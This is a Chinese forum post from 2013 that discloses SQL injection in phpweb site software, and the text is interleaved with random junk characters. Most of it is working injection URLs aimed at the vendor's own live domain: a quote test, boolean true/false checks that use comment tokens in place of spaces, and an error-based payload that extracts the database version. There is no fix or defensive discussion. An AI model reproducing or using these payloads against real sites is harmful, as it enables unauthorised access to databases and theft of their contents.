phpweb所有的整站程序伪静态页面都存在sql注入/ [0 _ l8 ]" T
: v0 ]" P% Z2 x. }0 h* q I& x主站：http://phpweb.net/9 l: V1 s5 @4 y5 I+ j5 S( u
加’检测：! T+ l2 ]& s0 ~/ S3 o; I& R
7 a# _$ y" L; Y; `; Zhttp://www.phpweb.net/down/html/?772′.html; K( O* G8 e' @+ X7 H: K; s
- u1 I8 o; D$ L. G5 b: h6 z
出错4 C+ O1 c, f6 s7 l8 v4 C& s
存在注入。6 _- a: l% L/ k) I/ a) A
不能用空格，只能用/*罗
T0 K" `7 R. {9 |1 }http://www.phpweb.net/page/html/?56′/**/and/**/1=1/*.html 正常( a* G& B7 G: y% J
4 V ]( g" W+ V; [4 ^1 _
http://www.phpweb.net/page/html/?56′/**/and/**/1=2/*.html 出错." n; i7 H% o# A+ [
爆数据库版本：
4 ~# U# e: H* x% Q% F
- W) r- N2 d( R# U" G' h+ u?
% I% i$ l/ v7 d! u1
# r6 U/ k& _' Ohttp://www.phpweb.net/page/html/?56'/**/and/**/(SELECT/**/1/**/from/**/(select/**/count(*),concat(floor(rand(0)*2),(substring((select(version())),1,62)))a/**/from/**/information_schema.tables/**/group/**/by/**/a)b)=1/*.html6 [4 j, U4 ]* f. ?
更新日期: 2013-01-03 13:39:50 7 h1 F4 E) H/ Y5 \7 V
|
发表于 2013-1-4 19:46:42
收藏
支持
反对